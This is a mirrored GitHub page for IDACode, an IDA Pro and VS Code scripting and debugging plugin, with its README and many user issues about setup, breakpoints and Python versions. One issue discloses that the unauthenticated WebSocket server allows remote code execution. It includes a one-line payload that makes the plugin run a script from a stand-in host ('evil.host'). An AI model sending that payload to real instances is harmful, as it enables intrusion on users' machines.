Git Product home page Git Product logo

idacode's Introduction

IDACode

IDACode makes it easy to execute and debug Python scripts in your IDA environment without leaving Visual Studio Code. The VS Code extension can be found on the marketplace.
IDACode is still in a very early state and bugs are to be expected. Please open a new issue if you encounter any issues.

Features

  • Speed: Quickly create and execute scripts.
  • Debugging: Attach a Python debugger at any time.
  • Compatibility: IDACode does not require you to modify your scripts in a specific way. All scripts can be executed from within IDA without changes.
  • Modularity: IDACode does not make extensive use of safe wrappers for thread synchronization, this allows you to import any module from any path at any given time. Instead IDACode synchronizes the script execution thread with IDAs main thread to avoid performance and unexpected issues.
  • Syncing: As IDACode uses debugpy for communication, it syncs the output window naturally with VS Code's output panel.

IDACode supports both Python 2 and Python 3!

Setup

To set up the dependencies for the IDA plugin run:

# make sure to use the correct Python version
# IDACode supports the latest debugpy as of version 3.0.0, make sure to upgrade!
python -m pip install --user debugpy tornado

Either clone this repository or download a release package from here. ida.zip reflects the contents of the ida folder in this repository. Copy all files into IDAs plugin directory.

The next step is to configure your settings to match your environment. Edit idacode_utils/settings.py accordingly:

  • HOST: This is the host address. This is always 127.0.0.1 unless you want it to be accessible from a remote location. Keep in mind that this plugin does not make use of authentication.
  • PORT: This is the port you want IDA to listen to. This is used for websocket communication between IDA and VS Code.
  • DEBUG_PORT: This is the port you want to listen on for incoming debug sessions.
  • PYTHON: This is the absolute path to the Python distribution that your IDA setup uses.
  • LOGGING: Determines whether the debugger should log into files. This is especially useful when you are running into issues with IDACode. Please submit a new issue if you find anything. The files are always located in your temp directory (e.g. Windows: %TEMP%). The files are called debugpy.*.log.

You can now start the plugin by clicking on IDACode in the plugins menu.

The VS Code extension is available on the marketplace. To configure the extension please refer to the extension's README.

Usage

IDA

Hit IDACode in the plugin menu. You should be greeted with the following text:

IDACode listening on 127.0.0.1:7065

VS Code

As of version 0.2.0 IDACode supports "Execute on save" which is enabled by default. VS Code will automatically execute your script in IDA as soon as you save the current document (for example with CTRL+S). This behavior can be disabled in the settings.

There are 4 commands at your disposal:

commands

Once you have a folder open that you want to put your scripts in (you must specify the folder when VS Code asks you to!) you are ready to connect to IDA. You can do so by either executing Connect to IDA or Connect and attach a debugger to IDA. Please keep in mind that a debug session is permanent until you restart IDA. You can not change the workspace folder once the debugger has started.
Ensure that the workspace folder is the folder that your main scripts are located in.
Once you are connected you are able to select Execute script in IDA.

Debugging

IDACode uses VS Code's remote debugger to connect to IDA. All VS Code features are supported. However, you have to specify the scripts entrypoint by using Python builtin functionality: breakpoint. This instruction tells the debugger to pause execution, if there's no debugger present it will just ignore the function. IDACode imports a helper package called dbg which implements an overload of breakpoint called bp. This function supports logging and conditionals:

name = idc.get_segm_name(segment)
dbg.bp(name==".text", f"found {name} at {segment}")

Please also note that a breakpoint() call should never occur at the end of a file, it must always be before any other line of code as it breaks on the next instruction in your code. Also note that if you decide to use the dbg package you must either remove all references or use the variable __idacode__ as conditional before executing it as a normal IDA script.
It is also important that attaching a debugger will create a new debugger instance. In most cases this is not what you want. If you disconnect from the debugger use VS Code's remote debugger to connect back.

Known Issues

  • Imported module doesn't reload after changes, refer to this for a work around.

Demo

demo

Contributors

idacode's People

Contributors

andoryuuta avatar dependabot[bot] avatar ioncodes avatar meitarr avatar mrexodia avatar oevreflataeker avatar plutoberth avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

idacode's Issues

Security concern on WebSocket

According to #5 remote host is planned to be supported.
There is no authentication for the socket server yet. So an attacker may be able to communicate with the server and trigger a remote code execution:

ws.send(new Blob([JSON.stringify({event: 'execute_script', path: '\\\\evil.host\\calc.py'})]))

Luckily tornado has Origin validation by default, which means if the HOST is 127.0.0.1, the attacker can not talk to the backend from a web browser unless he's got a UXSS. But when using this utility for remote debugging (e.g., Host = '0.0.0.0'), it is possible for the attacker to spoof the Origin header and trigger a 0click rce.

Maybe adding a random token validation upon connection can avoid such problem

Does setting breakpoint from vsc supported ?

Thanks for this wonderful extension ,it do make wrting ida python script much faster, I can step in, step out code, one strange thing I found is that I can't make break point from vsc, it said can't find the break point line, but I can make breakpoint inside idacode_utils, is there something with my config ? Thanks

Host to VM communication

Additional checks should be implemented to make sure the script is available on the remote side, if not it should be requested from the host.
This applies for other types of remote locations as well.

NameError: name 'idaaip' is not defined

Hello, I am using idaaip.ask here_ File (...), prompt in IDA: NameError: name 'idaaip' is not defined. But this script can be run by directly loading it in ida. How can I configure it?

Python 2 compatibility

Python 2 compatibility will be tracked in this issue. If this is something you need, vote with a thumbs up!

IDA has no python.exe but exists python64.dll, In such case how to specify the python path in settings.py?

IDA Pro 7.0
My setting.py is:

HOST = "127.0.0.1"
PORT = 7065
DEBUG_PORT = 7066
PYTHON = "C:\\Users\\97527\\.conda\\envs\\gemini\\python.exe"
LOGGING = False

But

C:\Program Files\IDA 7.0\plugins\idacode.py: No module named concurrent.futures
Traceback (most recent call last):
  File "C:\Program Files\IDA 7.0\python\ida_idaapi.py", line 553, in IDAPython_ExecScript
    execfile(script, g)
  File "C:/Program Files/IDA 7.0/plugins/idacode.py", line 3, in <module>
    import idacode_utils.plugin as plugin
  File "C:\Program Files\IDA 7.0\plugins\idacode_utils\plugin.py", line 11, in <module>
    from idacode_utils.socket_handler import SocketHandler
  File "C:\Program Files\IDA 7.0\plugins\idacode_utils\socket_handler.py", line 1, in <module>
    import tornado.websocket, debugpy
  File "C:\Users\97527\AppData\Roaming\Python\Python27\site-packages\tornado\websocket.py", line 37, in <module>
    from tornado.queues import Queue
  File "C:\Users\97527\AppData\Roaming\Python\Python27\site-packages\tornado\queues.py", line 35, in <module>
    from tornado.locks import Event
  File "C:\Users\97527\AppData\Roaming\Python\Python27\site-packages\tornado\locks.py", line 18, in <module>
    from concurrent.futures import CancelledError
ImportError: No module named concurrent.futures

---------------------------------------------------------------------------------------------
Python 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] 

How can I solve this problem?

dynamic breakpoint support

Hi, the recent version of idacode does not support adding breakpoints with vscode (F9), we have to add breakpoint() function in advance, which makes the debug process more complex. In previous versions of idacode, I remember it is feasible to add a breakpoint with vscode (F9) as long as one breakpoint() function has been added. Is it a bug that should be fixed or not? If not, is it possible to support adding a breakpoint with vscode?

image

Imported module not updated

Description

Imported modules do not reload when edited, keeping changes from being applied to main script.

How to reproduce

  1. Create imported_module.py
def call_me():
    return 'Foo'
  1. Create main.py
from imported_module import call_me

print(call_me())
  1. Start IDACode from IDA
[IDACode] Listening on 127.0.0.1:7065
  1. Connect IDACode from VSCode
[IDACode] Client connected
[IDACode] Set workspace folder to c:\ida_code_bug
  1. Save main.py to trigger code execution
[IDACode] Executing c:\ida_code_bug\main.py
Foo
  1. Edit call_me in imported_module.py to return Bar
def call_me():
    return 'Bar'
[IDACode] Executing c:\ida_code_bug\imported_module.py
  1. Save main.py to trigger code execution
[IDACode] Executing c:\ida_code_bug\main.py
Foo

Expected result

call_me function should returns Bar.

Related issues

Execute on save mode

An option that allows instant execution of a script on file save could be very useful.

How to debug plugins?

When it's trying to set the workspace to the plugins dir it fails with only one usage of each socket address allowed.

[IDACode] Listening on 127.0.0.1:7065
[INFO] 101 GET /ws (127.0.0.1) 15.00ms	(web:log_request)
[IDACode] Client connected
[IDACode] Set workspace folder to .....\plugins
[ERROR] Uncaught exception GET /ws (127.0.0.1)
HTTPServerRequest(protocol='http', host='127.0.0.1:7065', method='GET', uri='/ws', version='HTTP/1.1', remote_ip='127.0.0.1')	(web:log_exception)
Traceback (most recent call last):
  File "C:\python27-x64\lib\site-packages\tornado\websocket.py", line 546, in _run_callback
    result = callback(*args, **kwargs)
  File "...../plugins\idacode_utils\socket_handler.py", line 36, in on_message
    start_debug_server()
  File "...../plugins\idacode_utils\socket_handler.py", line 21, in start_debug_server
    debugpy.listen((settings.HOST, settings.DEBUG_PORT))
  File "C:\python27-x64\lib\site-packages\debugpy\__init__.py", line 113, in listen
    return api.listen(address)
  File "C:\python27-x64\lib\site-packages\debugpy\server\api.py", line 143, in debug
    log.reraise_exception("{0}() failed:", func.__name__, level="info")
  File "C:\python27-x64\lib\site-packages\debugpy\server\api.py", line 141, in debug
    return func(address, settrace_kwargs, **kwargs)
  File "C:\python27-x64\lib\site-packages\debugpy\server\api.py", line 234, in listen
    raise RuntimeError(str(endpoints["error"]))
RuntimeError: Can't listen for client connections: [Errno 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
[IDACode] Client disconnected

Is it supported on Ubuntu? and i got some trouble ;ida can not install idacode plugin

Warning
idacode.py. invalid Python installation: unable to open /home/alay/Desktop/ida/lilb/python2.7/coniglMakefle (No such file o drectory)Traceback (most recent call last):

image

File "/home/alay/Desktop/ida_dt/ida_in/python/idaapi.py", line 558, in lDAPython_ExecScript execfile(script, g)

File "/home/alay/Desktop/ida_dt/ida_in/plugins/idacode.py", line 3, in
import idacode_utils.plugin as plugin
File "/home/alay/Desktop/ida_dt/ida_in/plugins/idacode_utils/plugin.py" , line 8, in
import idacode_utils.dbg as dbg
File "/home/alay/Desktop/ida_dt/ida_in/plugins/idacode_utils/dbg.py", line 2, in
from debugpy.server import api
File "/home/alay/Desktop/ida_dt/ida_in/python/lib/python2.7/debugpy/server/init.py", line 9, in import debugpy._vendored.force_pydevd # noqa
File "/home/alay/Desktop/lida_dtlida_in/python/ib/python2.7/debugpyl_vendored/force pydevd.py", line 54, in 'pydevd',
File "/home/alay/Desktop/ida_dt/ida_in/python/lib/

Unable to set breakpoint (BdbQuit exception)

I'm trying to set a breakpoint using pdb.set_trace(), but I'm facing with the following exception every time I try to execute my script:

File "C:\python27-x64\Lib\bdb.py", line 68, in dispatch_line
    if self.quitting: raise BdbQuit
BdbQuit

I'm using IDA 7.2 and Python 2.7.18. Can anyone kindly help me with this issue? Thanks in advance.

Unable to attach debugger after debugpy 1.0.0 release

Something has changed between debugpy 1.0.0rc2 and 1.0.0, because on the latter I get the following error every time I try to attach the debugger from VSCode:

Can't find input file 'C:\Users\User\AppData\Local\Programs\Python\Python39\lib\site-packages\debugpy\adapter'

Workaround:

pip install --user debugpy===1.0.0rc2

Pycharm support

Thanks for the useful extension. Do you have any plans about migrating the extension to pycharm plugin market?

debugpy may not free port

If specific (and currently unknown) conditions are met, debugpy may not be able to kill the spawned Python process (debug server). A possible solution would be to hook the process creation function, make a copy of the process ID and then force kill it once IDA closes. This is a very hacky solution but it seems like debugpy doesn't provide specific API to tear down the debug server.

This issue was created in reference to #11.

Two one-line patches

Hi, thanks for your plugin; it helped me. I had two small issues with using it, both of which I fixed (with one line of code apiece).

The plugin advertises Python 2.x support. In the current plugin.py, you put import asyncio to apparently get around some issue with tornado. This is not available on Python 2.x (I know, I need to update). I simply commented out this line. You might want to guard it by a version check for 3.0 or above, similar to what you do elsewhere throughout that file. (Edit: I see that PR #13 already addresses this.)

Secondly, in socket_handler.py, I experienced the issue where debugpy attempted to spawn the current process -- that is, the IDA executable -- when listening for connections. I had debug output like:

I+00021.467: debugpy.listen() spawning adapter: [
                 "C:\\Program Files\\IDA Pro 7.6\\ida64.exe", 
                 "C:\\Users\\Dev\\AppData\\Roaming\\Python\\Python27\\site-packages\\debugpy\\adapter", 

That first line is supposed to be the path to the Python interpreter, e.g., settings.PYTHON. After reading through debugpy, I can see that it consults sys.executable to obtain the path to the process that should be spawned. Presumably, this is why you modify this variable in your setup_patches function. However, the debugpy module gets loaded before setup_patches is called, which means that this technique does not work.

It turns out that you can instruct debugpy directly as to which executable to spawn. In socket_handler.py, I added one line of code before the call to listen:

debugpy.configure({'python': settings.PYTHON})

After both patches -- and installing the official Python extension for VSCode, as well as learning about the command pallette -- everything worked for me.

Trouble getting IDACode to work

Hello, I've got some trouble getting idacode to work.
Using IDA Pro 7.5 SP1, Python 3.6 x64, latest VS Code and IDACode

Installed VSCode extension, IDA Plugin pip prerequisites, IDA Plugin. Verified settings. Loaded binary in IDA to analyze. Started Plugin in IDA:

[IDACode] Plugin version 0.1.4
[IDACode] Plugin loaded, use Edit -> Plugins -> IDACode to start the server
[IDACode] Listening on 127.0.0.1:7065

Then loading a small IDA Python script ("POP POP RET" gadget finder) in VSCode


breakpoint(name==".text", f"Lets get started")  <-- Added according to instructions

def disp(a,b,c,d): 			
	mnem1 = GetOpnd(a,0)  	
	mnem2 = GetOpnd(int(a+1),0) 	
	print( "0x%08x:" % a,b,mnem1,"|",c,mnem2,"|",d,"-",) 	
	y = Assemble(a, str(b+" "+mnem1))[1]  	
	a = a+1  	
	z = Assemble(a, str(c+" "+mnem2))[1]  	

	print ("\\x%x\\x%x\\xc3")%(ord(y[0]),ord(z[0]))  	

addr = SegByBase(SegByName(".text")) 	
end = SegEnd(addr)  		

while addr < end and addr != BADADDR:  	
	addr = NextAddr(addr)  	
	op1 = GetMnem(addr)  	
	if str(op1) == "pop":  	
		x = addr + 1  		
		op2 = GetMnem(x) 	
		if str(op2) == "pop":  	
			y = x + 1  		
			ret = GetMnem(y) 	
			if str(ret) == "retn":  	
				z = GetOperandValue(y,0)	
				if z == -1:	
					disp(addr,op1,op2,ret)  
				
print( "\n\nScript Finished!")


IDACode -> Connect and attach..., select folder "D:"

Message in IDA:

[IDACode] Client connected
[IDACode] Set workspace folder to d:\

Now IDACode -> Execute Script in IDA

gives me in IDA:

ERROR:tornado.application:Uncaught exception GET /ws (127.0.0.1)
HTTPServerRequest(protocol='http', host='127.0.0.1:7065', method='GET', uri='/ws', version='HTTP/1.1', remote_ip='127.0.0.1')
Traceback (most recent call last):
  File "C:\Python36\lib\site-packages\tornado\websocket.py", line 649, in _run_callback
    result = callback(*args, **kwargs)
  File "D:/Program Files/IDA Pro 7.5/plugins\idacode_utils\socket_handler.py", line 35, in on_message
    start_debug_server()
  File "D:/Program Files/IDA Pro 7.5/plugins\idacode_utils\socket_handler.py", line 20, in start_debug_server
    debugpy.listen((settings.HOST, settings.DEBUG_PORT))
  File "C:\Python36\lib\site-packages\debugpy\__init__.py", line 113, in listen
    return api.listen(address)
  File "C:\Python36\lib\site-packages\debugpy\server\api.py", line 141, in debug
    log.reraise_exception("{0}() failed:", func.__name__, level="info")
  File "C:\Python36\lib\site-packages\debugpy\server\api.py", line 139, in debug
    return func(address, settrace_kwargs, **kwargs)
  File "C:\Python36\lib\site-packages\debugpy\server\api.py", line 232, in listen
    raise RuntimeError(str(endpoints["error"]))
RuntimeError: Can't listen for client connections: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
[IDACode] Client disconnected

Did I miss something?

IDACode does'nt analyze Var type

for example :
pfn = ida_funcs.get_fchunk(ea)
idacode doesn't analyze that pfn is type of: ida_funcs.func_t, to fix it manually I can change the code to:
pfn: ida_funcs.func_t = ida_funcs.get_fchunk(ea)
is there any other way to do it automatically and not like this? I need this for the auto-completion

thank you very much :)

if __name__ ==... causes error

If the python script to debug contains something like

if __name__ == '__main__':
    main()

the script will not run correctly. To fix, remove the "if" line and just directly call main().

Version

Does this only work for IDA 7.4?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.